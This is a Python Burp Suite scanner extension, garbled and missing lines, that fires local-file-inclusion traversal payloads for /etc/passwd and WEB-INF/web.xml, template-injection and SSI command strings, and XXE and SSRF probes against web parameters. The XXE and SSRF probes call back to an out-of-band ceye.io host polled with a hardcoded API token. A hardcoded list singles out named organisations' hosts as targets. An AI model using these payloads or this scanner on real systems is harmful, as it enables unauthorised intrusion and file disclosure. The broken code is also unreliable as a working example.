from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
from burp import IScannerCheck
from burp import IScannerInsertionPointProvider
from burp import IParameter
from burp import IScanIssue
from urlparse import urlparse
sys.path.append('C:/Python27/Lib/site-packages')urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
'local_file:///etc/passwd',
'local-file:///etc/passwd',
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % remote SYSTEM \"file:///etc/passwd\">\n" +
"system('cat /etc/passwd')", "<!--#exec cmd=\"id\" -->",
"<!--#exec cmd=\"cat /etc/passwd\" -->",
'@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\'id\').getInputStream())',
'<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }', '{self::getStreamVariable($SCRIPT_NAME)}', '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}', '<%= File.open(\'/etc/passwd\').read %>',
'{php}echo \'id\';{/php}', "{% import os %}{{ os.popen(\"id\").read() }", '/var/cpanel/cpanel.config',
'/../../../../etc/passwd',
'/../../../../../etc/passwd',
'/../../../../../../etc/passwd',
'/../../../../../../../etc/passwd',
'/../../../../../../../../etc/passwd',
'/../../../../../../../../../etc/passwd',
'/../../../../../../../../../../etc/passwd',
'/../../../../../../../../../../../etc/passwd',
'/../../../../../../../../../../../../etc/passwd',
'/../../../../../../../../../../../../../etc/passwd',
'/../../../../../../../../../../../../../../etc/passwd',
'/../../../../../../../../../../../../../../../../etc/passwd',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/error_log',
'/var/www/logs/access_log',
'/usr/local/apache/logs/access_log',
'/../../apache/logs/access.log',
'/../../../apache/logs/access.log',
'/../../../../apache/logs/access.log',
'/../../../logs/access_log',
'/../../../../logs/error_log',
'/../../../../../logs/error_log',
'/../../../../../../logs/error_log',
'/../../../../../../../logs/error_log',
'/../../logs/access_log',
'/../../../../logs/access_log',
'/../../../../../logs/access_log',
'/../../../../../../logs/access_log',
'/../../../../../../../logs/access_log',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'c:/wamp/logs/access.log',
'/etc/logrotate.d/proftpd',
'/../../../etc/passwd%00',
'/../../../../etc/passwd%00',
'/../../../../../etc/passwd%00',
'/../../../../../../etc/passwd%00',
'/../../../../../../../etc/passwd%00',
'/../../../../../../../../etc/passwd%00',
'/../../../../../../../../../etc/passwd%00',
'/../../../../../../../../../../etc/passwd%00',
'/../../../../../../../../../../../etc/passwd%00',
'/../../../../../../../../../../../../etc/passwd%00',
'/../../../../../../../../../../../../../etc/passwd%00',
'/../../../../../../../../../../../../../../etc/passwd%00',
'/../../../../../../../../../../../../../../../../etc/passwd%00',
'/../../WEB-INF/web.xml',
'/../../../WEB-INF/web.xml',
'/../../../../WEB-INF/web.xml',
'/../../../../../WEB-INF/web.xml',
'/../../../../../../WEB-INF/web.xml',
'/../../../../../../..//WEB-INF/web.xml'
self.errorFlag = re.compile(r'.*(root:|sbin|uid=|State: R (running)|Tgid:|TracerPid:|Uid:|File does not exist:|emailusersbandwidth|adminuser=|database_prefix=|nologin|DB_NAME|daemon:|DOCUMENT_ROOT=|PATH="|HTTP_USER_AGENT|HTTP_ACCEPT_ENCODING=|apache_port=|cpanel/logs/access|allow_login_autocomplete|54289).*')
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../etc/passwd',
'../../../../logs/access_log',
'../../../../../logs/access_log',
'../../../../../../logs/access_log',
'../../../../../../../logs/access_log',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../etc/passwd%00',
'../../../WEB-INF/web.xml',
'../../../WEB-INF/web.xml',
'../../../../WEB-INF/web.xml',
'../../../../../WEB-INF/web.xml',
'../../../../../../WEB-INF/web.xml',
'../../../../../../../WEB-INF/web.xml',
'../../../../../../../../WEB-INF/web.xml',
'../../../../../../../../../../WEB-INF/web.xml',
'config/config_ucenter.php.bak',
'config/.config_ucenter.php.swp',
'config/.config_global.php.swp',
'config/config_global.php.1',
'uc_server/data/config.inc.php.bak',
'config/config_global.php.bak',
'include/config.inc.php.tmp',
'foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd',
'..%252F..%252F..%252F..%252Fetc%252fpasswd',
'wls-wsat/CoordinatorPortType',
class BurpExtender(IBurpExtender,IScannerCheck):
def registerExtenderCallbacks(self,callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self._callbacks.registerScannerCheck(self)
self._callbacks.setExtensionName("LFI") def doPassiveScan(self, baseRequestResponse):
Request = baseRequestResponse.getRequest()
Response = baseRequestResponse.getResponse()
analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters= self.get_request_info(Request )
ResHeaders, ResBodys, ResStatusCode,resLength= self.get_response_info(Response)
httpService = baseRequestResponse.getHttpService()
host, port, protocol, ishttps, = self.get_server_info(httpService)
if "?xml" in reqBodys or ("xml" or "*/*" in reqHeaders): targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud','rv2go','224','226','129','130','91','sxc','bihuo','100','bihuoedu','islefoundation']
url = self.get_request_url(protocol, reqHeaders)
if (host.split('.')[-3] in targetHost) or (host.split('.')[-2] in targetHost): tXXEBody = threading.Thread(target=self.xxeBody, args=(
Request, protocol, host, port, ishttps,reqHeaders))
lfiTarget.append(tXXEBody)
for parameter in reqParameters:
parameterName, parameterValue, parameterType = self.get_parameter_Name_Value_Type(parameter)
if parameterType ==0 or parameterType ==1 :
tXXEPara = threading.Thread(target=self.xxeParameter, args=(
Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
tLfi = threading.Thread(target=self.lfiTest, args=(
Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
tSSRF = threading.Thread(target=self.ssrfHttp, args=(
Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
lfiTarget.append(tXXEPara)
url = url.scheme + '://' + url.netloc + "/".join(url.path.split('/')[0:-1]) + "/" if (url not in self.dirList) and (ResStatusCode !=302 and ResStatusCode!=301):
html404_status, html404_content = self.html_404_analyze(url)
tLfiDir = threading.Thread(target=self.lfiDir, args=(
Request, protocol, host, port, ishttps, url, html404_status, html404_content))
lfiTarget.append(tLfiDir)
def consolidateDuplicateIssues(self, existingIssue, newIssue):
def doActiveScan(self, baseRequestResponse, insertionPoint):
def lfiTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
for paraNewValue in self.fuzzLFI.dir:
paraNewValue= urllib2.quote(paraNewValue)
newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);
newRequest = self._helpers.updateParameter(request, newParameter);
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)
errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[LFI GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys) self.save(content+'\t\n')
def lfiDir(self, request, protocol, host, port, ishttps, url,html404_status, html404_content):
for paraNewValue in self.fuzzLFI.dir2:
newRequest = self._helpers.buildHttpRequest(URL(url+paraNewValue));
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode, resLength = self.get_response_info(
errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)
if errorInject or (newResStatusCode == 206) or ((newResStatusCode == 200 or newResStatusCode == 302 or newResStatusCode == 301) and abs(resLength - len(html404_content))>50):
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[DIR GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys) self.save(content + '\t\n')
def html_404_analyze(self, url):
url = url+'justfortesthtmlshifoucunzai.html'
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate"
html_404 = requests.get(url,headers=headers,timeout=5,verify=False)
return html_404.status_code,html_404.content
def ssrfHttp(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
paraNewValue = 'http://ssrf.m4mta5.ceye.io/'+host+parameterName+"testssrf1234567890"
newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);
newRequest = self._helpers.updateParameter(request, newParameter);
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)
pattern = re.compile(host + parameterName + "testssrf1234567890" )
response = self.ceyeFin()
result = pattern.findall(response)
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[SSRF GET]',newReqUrl, newReqHeaders, newReqBodys) self.save(content + '\t\n')
if paraNewValue in "".join(newResHeaders):
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[URL GET]', newReqUrl, newReqHeaders, self.save(content + '\t\n')
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36', 'Content-Type': 'application/json; charset=utf-8'}
url = 'http://api.ceye.io/v1/records?token=23715ab222a6e221916405658caf5061&type=http'
response = requests.get(url,headers =headers,timeout=5).text
def xxeParameter(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
paraNewValue = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!ENTITY % remote SYSTEM \"http://" + "xxeparameter.m4mta5.ceye.io/" + host + parameterName + "xxetestparameter" + "\">\n" +
newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);
newRequest = self._helpers.updateParameter(request, newParameter);
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)
pattern = re.compile(host + parameterName + "xxetestparameter" )
response = self.ceyeFin()
result = pattern.findall(response)
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[XXE Parameter GET]',newReqUrl, newReqHeaders, newReqBodys) self.save(content + '\t\n')
def xxeBody(self, request, protocol, host, port, ishttps,reqHeaders):
xxePayload = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!ENTITY % remote SYSTEM \"http://" + "xxebody.m4mta5.ceye.io/" + host + "xxebody" + "\">\n" +
reqHeaders[0].split(' ')[0]="POST" xxe = self._helpers.buildHttpMessage(reqHeaders, xxePayload)
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, xxe)
pattern = re.compile(host+'xxebody')
response = self.ceyeFin()
result = pattern.findall(response)
newReqUrl = self.get_request_url(protocol, reqHeaders)
content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[XXE Body GET]',newReqUrl, reqHeaders, xxePayload) self.save(content + '\t\n')
def get_response_info(self, response):
analyzedResponse = self._helpers.analyzeResponse(
resHeaders = analyzedResponse.getHeaders()
analyzedResponse.getBodyOffset():].tostring()
resStatusCode = analyzedResponse.getStatusCode()
resLength = len(resBodys)
return resHeaders, resBodys, resStatusCode, resLength
def get_server_info(self, httpService):
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
return host, port, protocol, ishttps
def get_parameter_Name_Value_Type(self, parameter):
parameterName = parameter.getName()
parameterValue = parameter.getValue()
parameterType = parameter.getType()
return parameterName, parameterValue, parameterType
def get_request_url(self, protocol, reqHeaders):
link = reqHeaders[0].split(' ')[1] host = reqHeaders[1].split(' ')[1] return protocol + '://' + host + link
f = open('burp_lfi.txt', 'at') f.writelines(content + '\n\n')
def saveUrl(self, content):
f = open('burp_url.txt', 'at') f.writelines(content + '\n\n')
def get_request_info(self, request):
analyzedRequest = self._helpers.analyzeRequest(
reqHeaders = analyzedRequest.getHeaders()
reqBodys = request[analyzedRequest.getBodyOffset():].tostring()
reqMethod = analyzedRequest.getMethod()
reqParameters = analyzedRequest.getParameters()
return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters